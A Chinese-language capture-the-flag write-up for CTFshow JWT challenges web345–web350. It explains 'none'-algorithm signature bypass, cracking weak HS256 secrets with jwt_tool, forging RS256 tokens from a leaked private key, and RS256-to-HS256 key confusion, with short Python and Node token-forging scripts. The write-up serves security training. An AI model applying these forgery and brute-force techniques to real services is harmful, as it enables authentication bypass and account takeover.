CTFshow-Web入门模块-JWT-web345-web350
识别jwt
JWT在线解析:https://jwt.io/
jwt利用工具
https://github.com/ticarpi/jwt_tool
# 使用None算法 python3 jwt_tool.py JWT_HERE -X a # 自定义修改生成 python3 jwt_tool.py JWT_HERE -T # 使用字典破解 python3 jwt_tool.py JWT_HERE -C -d dictionary.txt # 指定密码测试 python3 jwt_tool.py JWT_HERE -C -p password_here
Web345(None空加密算法)
空加密算法(攻击头部不使用加密)
签名算法可被修改为none,JWT支持将算法设定为"None"。如果"alg"字段设为"None",那么签名会被置空,这样任何token都是有效的。
签名算法可被修改为none,JWT支持将算法设定为 "None" 。如果 "alg" 字段设为 "None" ,那么签名会被置空,这样任何token都是有效的。
抓包看下,可以看到是jwt加密,而且提示flag在/admin目录下
注意:由于这里是空加密,所以只有两部分组成,少了签名这一部分,所以只需要经过base64更改即可。
Web346(None算法绕过签名)
某些服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。
这里使用了HS256加密方式,方法:alg字段改为none,sub改为admin,对每一段分别用base64进行加密,然后用.拼接起来,注意最后一个点不能少。
这里可以直接使用jwt工具改,也可以用插件来修改,但是官网修改不了
python3 jwt_tool.py JWT_HERE -T
Web347(弱口令密钥获取)
某些签名算法,例如HS256(HMAC+SHA-256),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。这个秘钥如被轻易猜到或暴力破解,则攻击者能以任意的头部和载荷值来创建JWT,然后用密钥重新给令牌签名。
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt //-C 使用爆破模式 -d自定义爆破字典
python3 jwt_tool.py JWT_HERE -C -p password_here //-p来验证是否正确
Web348(爆破密钥上题一样)
Web349(公钥私钥泄露)
分析代码可以知道,这个就是相当于网站中泄露的加密方式,并且也给出了公钥私钥地址。访问/private.key、/public.key得到公钥密钥,因为我们要构造jwt,所以我们这里只需要私钥即可。
https://39ac484d-fda7-4fd5-8a7b-a15400ed2d5c.challenge.ctf.show/private.key
源码中私钥生成jwt,利用公钥解密jwt,只要有私钥就可以重新生成JWT
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
pip install jwt pip install pyjwt
然后将jwt替换到cookie中即可,需要注意的是,这里还需要更改请求方式及目录内容。
Web350(密钥混淆攻击RS256=>HS256)
将RS256算法改为HS256(非对称密码算法=>对称密码算法)
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。
var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)





























浙公网安备 33010602011771号